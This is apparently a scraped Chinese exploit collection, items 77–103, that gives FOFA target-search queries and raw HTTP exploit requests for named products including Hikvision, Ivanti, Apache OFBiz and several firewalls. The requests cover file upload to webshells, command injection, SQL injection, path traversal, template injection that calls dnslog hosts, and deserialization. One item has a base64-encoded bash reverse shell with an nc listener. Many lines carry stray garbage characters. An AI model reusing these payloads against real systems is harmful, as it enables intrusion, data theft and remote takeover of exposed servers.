Host: x.x.x.x

% J- w& V" l# j. g# ]
: H  x0 z/ R% u
* H8 Y4 q. F8 Q77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
$ A4 u! \# o8 Q9 S4 C: v) nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 |& C. ?" j7 R$ kConnection: close
  j2 g% j1 S' ~' r% k5 w$ }Content-Length: 433
( f2 p  w% M; Z3 y3 f8 [* CAccept: */*
Accept-Encoding: gzip, deflate
) e( n5 k  ^3 m1 _: l1 |+ hAccept-Language: zh-CN,zh;q=0.9
) }' ]( L% X! f( ~Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
3 r) q2 G9 m; m# X3 }! m
------------398jnjVTTlDVXHlE7yYnfwBoix
# i6 [- H5 j% [* q4 u/ Q, `Content-Disposition: form-data; name="folder"

: X* N7 M) \6 }* _/upload/udplog
% z" d7 N0 Y, X/ l  C------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

7 {3 @5 y  \" i4 k! e! vhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
+ L& S' a5 U, d$ C& X! gContent-Disposition: form-data; name="Upload"
8 A$ O, h2 x/ K6 I; G
Submit Query
6 x2 v$ D1 d: n) O3 k1 ~+ i------------398jnjVTTlDVXHlE7yYnfwBoix--
3 F2 T' R; b- U0 z
  \& a# D( j: q
9 x5 W6 N2 _! H" i( ~4 c  |78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
2 O$ F7 N' M3 H" i. E6 t* l6 ]4 y4 f1 fFOFA：icon_hash="2001627082"
8 Q/ Z; i7 q4 r' u( CPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
) h, _0 K( S1 C( E- b- EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
& H4 B, }% A+ I! o" [$ H$ u2 jContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
! G3 H6 }& L+ I, U0 D4 I- Y' u+ _/ {
% z% E3 y0 |7 Z2 ]------YsOxWxSvj1KyZow1PTsh98fdu6l
, C/ Y0 d4 `, E7 P& L# sContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

. l/ s+ v* X4 f' N9 GYsOxWxSvj1KyZow1PTsh98fdu6l
; [6 a7 m1 R* v3 s------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
2 O* R; ~1 r! h

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
8 \1 i$ j2 ~/ T# s1 J' F( b# M5 q
. V/ n8 T# L# W, w
79. BYTEVALUE 百为流控路由器远程命令执行
2 X( n$ e- [( S  g7 N" AFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( |3 h6 p1 i: v4 q$ N1 m5 N" OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 M) I  F# q5 x) A7 p  k6 b* aAccept-Encoding: gzip, deflate
' d/ D. \5 W( a' A( J% y" ]& aConnection: close
7 ^, n9 h9 |6 E' z2 HUpgrade-Insecure-Requests: 1
* y7 _1 M& r6 s8 ]' x

3 W4 p$ m& J0 {1 T) H9 H80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
+ T4 c+ \; S, R* F% fHost: x.x.x.x
- p2 r! b+ D+ q, GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 v$ g6 Y6 L* J$ U7 @0 F% FContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ `3 `7 t. d. X) E0 M0 DAccept-Encoding: gzip, deflate
/ a. @/ V: w- [( TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
0 u4 y4 t9 b% l. y: |
<% out.print("oessqeonylzaf");%>
  a" c, X0 L8 @7 C/ w
$ Z2 g, O6 ~- T# p3 v) ]
' \: E$ {* ?4 u* \GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, L; J2 E$ `+ n, cConnection: close
Accept-Encoding: gzip

' E6 k3 L4 c" D8 e+ U) r
4 `1 |1 g$ |5 y: w* e( L81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 F  M, v! W% R$ B$ h8 IFOFA：app="uniview-视频监控"
' G9 D& L8 j7 Q+ X7 v5 @- M0 N* xGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ _* r4 ]8 ?+ c; C4 vConnection: close
8 X) C0 y/ @  d9 ^Accept-Encoding: gzip

7 y: }9 j, t; [
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
# p% g; a5 H' N  h  mHost: BaseURL
$ U5 Q# P% m' M& rUser-Agent: Go-http-client/1.1
Content-Length: 23
/ b! x; q, ^5 G* P) ~8 QAccept-Encoding: gzip
Connection: close
* V6 e+ q" k$ Y& h  v+ e2 mContent-Type: application/x-www-form-urlencoded
3 w( c* ^" R0 m; s& [Referer: BaseURL
; a) V  r: A! s- B1 U- D
z1=1&z2="|id;"&z3=bhost
) w, n5 O& s0 W# p8 j- }
2 F: y- }; j4 C* l" k  b  s, z# V
# M% a/ p7 q1 C- k5 p83. JeecgBoot testConnection 远程命令执行
2 z$ d) X* b% o( j. ^% F4 {FOFA：title=="JeecgBoot 企业级低代码平台"
- C! {$ E/ y( z' ]" R" ?5 V. [

2 O$ |# r) ?5 i) S6 v0 n6 B7 aPOST /jmreport/testConnection HTTP/1.1
0 j% y2 d/ _9 Z7 }: K! b7 {5 j3 GHost: x.x.x.x
' {6 i2 R! i" ?8 @! t+ CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
: U# G! B# |( x6 WAccept-Encoding: gzip
7 A4 O4 D1 q& g  Y. QCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
8 h/ L7 o" t; W: b) z3 _Content-Type: application/json
7 M. n, }7 \1 C4 a+ w0 q
$ }1 Z2 B+ s: s6 e3 x3 c' `PAYLOAD
; u6 H3 A" S5 q5 C
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
/ L0 z7 e. f5 d6 O" H, N

' E, a. ~7 B8 u( t6 p
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
' f9 q& T+ x3 G' W: jUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

0 r$ V) e" \" ^" C2 {{
5 _1 `! ?+ W: j" }# p! D9 s" V- R+ [7 @ "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
* D' K+ |( `) Z' O* ^}

2 y# y- m) O+ {" ~( N% s* z
, }. ^$ X- }; u/ C! ]85. SysAid On-premise< 23.3.36远程代码执行
) K7 H$ s! D) ~! fCVE-2023-47246
" k: X6 _$ d: N% l9 M( JFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
6 N2 A* E5 r$ N5 O2 H* e* q# k
PAYLOAD
3 j. m) z. j0 E& {3 a
9 S3 F% P7 s1 \- K9 b$ I回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
2 w: @' `! L1 @" p; P, T; L; LFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
2 Q" E) s3 f5 Q" m0 `% S) X" u) r$ XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
" K4 ?2 L* d6 R1 v4 ?Accept: */*
Accept-Encoding: gzip
Accept-Language: en
3 W- l, X: A- gContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

4 l" d8 B) ?& \2 a
; a) I" Q: M/ G2 O87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
! n% L1 z( X5 a; c# w5 |' C8 o6 EHost: X.X.X.X
5 E' \" i* L1 E$ rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
% N6 i4 B4 U% KAccept-Encoding: gzip
- d0 @* w) E, x# e/ h  fContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
. N. g- l" a% @. `! M
* q3 e+ m& K3 s" \6 M* R2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


) q3 ^9 f5 g, H( z/jfhatuwe.php
2 Z0 d" y# |9 q4 M0 ~& a2 S
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
7 s" o% q: O, CFOFA：title="明御安全网关"
' T* Y  F* O! z) tGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- k7 m  i; N6 ^3 L5 Y' e+ U, r* W- LAccept-Encoding: gzip, deflate
8 {, \. O+ l% D' MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 `0 A1 M/ E+ a6 T- L3 gConnection: close
% s$ C! h7 E) \
% s6 f- o' X! P0 h/ t
/astdfkhl.php
. S" v0 f* V7 n
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
3 w, V: w7 w$ z, Q; J3 PPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 n7 p# `) r! `7 W- sConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

  x& @% d  X' k% P: j0 ~option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
5 y8 W+ B) _* s1 z6 vPOST /php/ping.php HTTP/1.1
+ H3 H3 {) R* D& x. `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
; o5 N7 |& P6 g3 [7 z4 D. [; i# SContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
# Z  \( _- j- O) N5 }# [7 xAccept-Encoding: gzip, deflate
  r/ M1 m3 w3 e( n7 u( w2 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ h& \% P) i. T3 fConnection: close
Content-Type: application/x-www-form-urlencoded
2 _+ U. F$ V7 j: O. b2 ?* HX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

1 W# z  s4 M6 w, A, G: o
/ n1 e9 X& U8 s  q0 ~0 C91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
, Z6 Y7 \! M3 G# s6 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
" v+ b/ F& g( O/ s
3 B8 T  i2 T$ e' h' ]& \, U

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
+ }* g, p8 }: T% IX-Requested-With: XMLHttpRequest
& j7 O5 o0 x# v$ G2 c. [' @3 ]: SContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
+ F; y( S" t; h: E8 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
# H: @7 L' k3 e; j# f  mAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

: N$ c6 ^& W% o5 C! v+ OPAYLOAD

* z1 e" j( V7 R- p6 g3 y' W
$ a" b% \0 v( k' Y93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
! ^' Q  N4 T8 B5 Q( k/ RHost: x.x.x.x
; G" I) x3 n# l* U% m7 q: W7 BContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# I. R: |' k, c* N4 x& w
7 B$ @, A) h' C8 O------WebKitFormBoundarykcbkgdfx
3 m7 I: L, H: X$ X( ]  fContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
* `! l3 r, n# B: S------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

% a0 r/ j! x  y) i, L1 n) e- Z+ Dwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
/ l- j, w& D. G6 @3 R+ TContent-Disposition: form-data; name="submit_post"
* R5 s5 `; V0 R* E9 G0 g- C
$ M" d' c. M- B/ @3 p' Jobj_app_upfile
5 H6 T% Z: `0 f. O, y6 r6 M. ~------WebKitFormBoundarykcbkgdfx
5 A1 d& w* m* d: u6 P& xContent-Disposition: form-data; name="__hash__"
, Q3 K/ f' C/ Q' k) c+ o
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

) u$ v& d2 m' S
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
1 x: Q( F- g0 i4 n9 h# Y- XFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
) l0 d6 P1 \! X/ pHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
' t; n+ T9 W7 |1 c# ZContent-Disposition: form-data; name="MAX_FILE_SIZE"
; B' w2 c& U% Q. ?
10000000
" a; I9 j3 j' r$ Q. e/ s------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

% g5 n  ~% ?9 B: w# epxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
" U: `! p2 i6 @$ kContent-Disposition: form-data; name="submit_post"

obj_app_upfile
! D( D9 a4 o9 U! y------WebKitFormBoundarybqvzqvmt
! }' q* z8 v! v; dContent-Disposition: form-data; name="__hash__"

( f3 i7 V0 h2 C$ q; @0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

0 J2 j5 v! I3 F  X+ Z" Y% ^

GET /attachements/xlskxknxa.txt HTTP/1.1
1 P3 v+ H- `3 _/ EHost: xx.xx.xx.xx
  e, O  i3 @, E, O7 i9 uUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 y: k. j, ^" g' o0 A" e

' n9 m; o  @  s( v: _
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
9 E4 R6 U# x4 e) z7 WConnection: close
Content-Length: 889
Content-Type: application/xml
; X7 V: I9 }6 z, U- W- z( ~; YAccept-Encoding: gzip
6 B1 W2 \, o' T8 _9 {  H* l
5 l7 J* r8 B0 A4 F/ O<?xml version="1.0"?>
1 V7 n6 G" e7 E: u<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
( ?& m) m. y6 U6 T& }    <params>
      <param>
6 E2 K5 s( |/ z! n      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
3 }4 e' H: T2 E$ V% m0 C% y, H8 k      </struct>
      </value>
$ `& E+ z4 k) R* {0 c0 v    </param>
    </params>
</methodCall>
" R  k5 @) C" q" }+ `* D0 S
- d" L/ z  J0 a+ C
用ysoserial生成payload
+ o7 @) A; a( \$ K1 }7 ^8 z9 c3 L# sjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
9 o$ `$ y/ m/ @

" c; M& A+ B. o) z% Q  b: u将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
4 ?' q( y, X* _- z; v& ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& @0 j" X$ N0 V; S8 Q1 w1 |0 b  VConnection: close
Content-Length: 889
Content-Type: application/xml
+ S0 E4 A( w  e* }) R  h. _Accept-Encoding: gzip
9 g( Z+ _" k3 v
& G3 ?% Y" q) F: MPAYLOAD
- s5 {3 M) |% m
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
8 S' `9 ?, P" i1 \, gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
9 q5 p2 L3 p' O9 S$ eContent-Length: 55

: w5 W/ `, K2 L) Z& {$ ~groovyProgram=throw+new+Exception('id'.execute().text);

" l1 Q6 x* U  Q9 ?$ {' F
% t9 g4 D" A/ Z( B! S3 n反弹shell
' P8 X! |. i2 D3 X4 q在kali上启动一个监听
3 d7 c& F+ ?+ M& J3 ync -lvp 7777

3 ]- y" w3 E/ z: Q9 RPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
. i0 G$ J# ^. g+ x# L& e: rHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
; P0 Q+ Z! [! f
9 B% _1 g0 r+ l9 RgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
- q5 U$ v. T  L  Z+ S& ?8 e) nGET /passport/login/ HTTP/1.1
. x  u# w# B  e) o* m' M5 E0 GHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
; {' |4 C, S8 s; H# h* y9 CX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
) r* E% x- L  J+ _+ z2 f* Q
' }5 C; @$ H, q; S9 H+ w/ x2 P
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
. U7 y, g9 y* O' YFOFA：app="SpiderFlow"
# e. z4 y) h$ y5 B& ePOST /function/save HTTP/1.1
; z) Y$ n2 L" s1 p8 v+ A% OHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! i0 I: U- {( n0 a4 r1 }4 g6 GConnection: close
( A8 z2 v1 n. z- }Content-Length: 121
Accept: */*
8 U% N' ]% S: K) n5 K' UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
' x3 i0 h9 P- t" h8 AX-Requested-With: XMLHttpRequest

5 A5 ~  m1 o" Y% R1 T5 gid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


5 T6 @' c: y: U% d0 c" G, g99. Ncast盈可视高清智能录播系统busiFacade RCE
8 D$ u: C- p* f7 p$ h1 A! rCVE-2024-0305
  g3 ~" b# V6 J& fFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
& s# ^8 l$ a  }5 |5 pHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
, M- R# A+ N7 C& i" D* f) EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
6 R, R2 h( D' B! y! Y
. }( J5 t$ E1 |, c! _: t: ]# z3 Q%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
: z* M) t4 U! ^" }6 S

. \' B7 ]) ^# K% ]9 j! O- V100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
, _4 z* k! @, t( J/ G: b3 `, Y  KContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
2 o1 T2 ?  A- Z" \" h, h2 G
8 R5 i. `2 W6 l- {: G9 f------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
- t# ~1 |9 N' e9 L
1 r% C/ f. |" y' k6 |/ M$ V/ o2ayyhRXiAsKXL8olvF5s4qqyI2O
+ ~6 F. X' ~5 ]! m# w------WebKitFormBoundarygcflwtei--

/ k$ B1 ]% E( H0 n# `; O! |; L" o
. q  M# Z! k- x8 r101. ivanti policy secure-22.6命令注入
, j3 y4 O% K; T5 g, r7 E; K7 ACVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
7 H3 Z* ?. _& D* HGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; W  _6 y" K$ A9 T4 c3 ~) LConnection: close
. o- t5 A1 H. |! q5 bAccept-Encoding: gzip
. m/ `( b. O$ \" n

. ~! U. ]7 t$ y5 G102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
  t: p* K2 ~' gAccept-Encoding: gzip
6 p% ~( p$ E' }5 ?4 q2 b5 o
- ]6 ?2 X7 E+ ]  @& z. t<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
3 l  U2 t) J+ o+ n
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
! K! z& w3 U" t" S; p0 `Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( I' Z" I" n- |) b+ pConnection: close
3 `: Z  ~3 {- b/ {  X, GContent-Length: 204
